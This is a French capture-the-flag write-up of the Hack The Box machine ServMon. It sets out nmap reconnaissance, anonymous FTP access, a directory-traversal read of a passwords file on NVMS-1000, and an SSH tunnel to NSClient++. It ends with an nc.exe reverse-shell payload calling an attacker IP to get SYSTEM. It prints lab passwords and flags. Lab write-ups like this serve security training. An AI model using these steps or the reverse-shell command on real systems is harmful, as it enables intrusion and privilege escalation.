---
title: 'Base de connaissance : hackthebox ServMon'
disqus: hackmd
---
Pentest de la machine Servmon
===
## Tables of contents
[TOC]
## Reconnaissance
nmap -sV -T4 -A 10.10.10.184
```
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_01-18-20 12:05PM <DIR> Users
| ftp-syst:
|_ SYST: Windows_NT
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 b9:89:04:ae:b6:26:07:3f:61:89:75:cf:10:29:28:83 (RSA)
| 256 71:4e:6c:c0:d3:6e:57:4f:06:b8:95:3d:c7:75:57:53 (ECDSA)
|_ 256 15:38:bd:75:06:71:67:7a:01:17:9c:5c:ed:4c:de:0e (ED25519)
80/tcp open http
| fingerprint-strings:
| GetRequest, HTTPOptions, RTSPRequest:
| HTTP/1.1 200 OK
| Content-type: text/html
| Content-Length: 340
| Connection: close
| AuthInfo:
| <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
| <html xmlns="http://www.w3.org/1999/xhtml">
| <head>
| <title></title>
| <script type="text/javascript">
| window.location.href = "Pages/login.htm";
| </script>
| </head>
| <body>
| </body>
| </html>
| NULL:
| HTTP/1.1 408 Request Timeout
| Content-type: text/html
| Content-Length: 0
| Connection: close
|_ AuthInfo:
|_http-title: Site doesn't have a title (text/html).
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5666/tcp open tcpwrapped
6699/tcp open tcpwrapped
8443/tcp open ssl/https-alt
| fingerprint-strings:
| FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions:
| HTTP/1.1 404
| Content-Length: 18
| Document not found
| GetRequest:
| HTTP/1.1 302
| Content-Length: 0
|_ Location: /index.html
| http-title: NSClient++
|_Requested resource was /index.html
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2020-01-14T13:24:20
|_Not valid after: 2021-01-13T13:24:20
|_ssl-date: TLS randomness does not represent time
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.80%I=7%D=5/10%Time=5EB83A90%P=x86_64-pc-linux-gnu%r(NULL
SF:,6B,"HTTP/1\.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20text/ht
SF:ml\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n
SF:\r\n")%r(GetRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20tex
SF:t/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x
SF:20\r\n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20X
SF:HTML\x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/D
SF:TD/xhtml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.
SF:org/1999/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\
SF:x20\x20\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x2
SF:0\x20\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")
SF:%r(HTTPOptions,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/htm
SF:l\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\
SF:n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\
SF:x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xh
SF:tml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1
SF:999/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x
SF:20\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20
SF:\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")%r(RT
SF:SPRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\n
SF:Content-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n
SF:\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\x201\
SF:.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xhtml1-
SF:transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1999/x
SF:html\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x20\x2
SF:0<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x20\
SF:x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.80%T=SSL%I=7%D=5/10%Time=5EB83A98%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,74,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocation
SF::\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xa0\x98>\x8e\x02\0\0\xc0\x9f\x98>\x8e\
SF:x02\0\0\x98sq8")%r(HTTPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length:\
SF:x2018\r\n\r\nDocument\x20not\x20found")%r(FourOhFourRequest,36,"HTTP/1\
SF:.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20found")%r(
SF:RTSPRequest,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocume
SF:nt\x20not\x20found")%r(SIPOptions,36,"HTTP/1\.1\x20404\r\nContent-Lengt
SF:h:\x2018\r\n\r\nDocument\x20not\x20found");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -1h56m28s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-05-10T15:37:09
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.31 seconds
```
### 10.10.10.184:80 ###
Pages de login NVMS-1000 : http://10.10.10.184/Pages/login.htm
### 10.10.10.184:8443 ###
https://10.10.10.184:8443/index.html
Un site contenant l'application NSClient++
## Exploitation
ftp 10.10.10.184 21
Name: anonymous
password : (laisser vide)
On apprends que sur le Bureau de Nathan, il y a un fichier Passwords.txt
#### Avec Mestasploit --> Directory Traversal NVMS-1000 ####
Objectif : Récuperer le password file
set FILEPATH /../../../../../../../../../users/Nathan/Desktop/Passwords.txt
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk => Password Nadine SSH, on récupere shell windows
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
nadine@SERVMON C:\Users\Nadine\Desktop>type user.txt
cae1148414c093a9c4e1cf930f49d5bf
nadine@SERVMON C:\Users\Nadine\Desktop>
nadine@SERVMON C:\Program Files\NSClient++>type nsclient.ini
Why not
password = ew2x6SsGTxjRwXOT
TCP 0.0.0.0:5040 ServMon:0 LISTENING 5292 InHost
TCP 0.0.0.0:5666 ServMon:0 LISTENING 7412 InHost
TCP 0.0.0.0:5666 ServMon:0 LISTENING 7412 InHost
TCP 0.0.0.0:6063 ServMon:0 LISTENING 8104 InHost
TCP 0.0.0.0:6699 ServMon:0 LISTENING 8104 InHost
TCP 0.0.0.0:7680 ServMon:0 LISTENING 7812 InHost
TCP 0.0.0.0:8443
ssh -L 8443:127.0.0.1:8443 Nadine@10.10.10.184
https://docs.nsclient.org/howto/external_scripts/
Upload nc : scp nc.exe nadine@10.10.10.184:/Temp
Pareil pour le payload
Payload : C:\Temp\nc.exe 10.10.15.34 4444 -e cmd.exe
A la fin on récupère un shell en NT authority system, puis le flag
da8f22791fc227a492509e33d415900d
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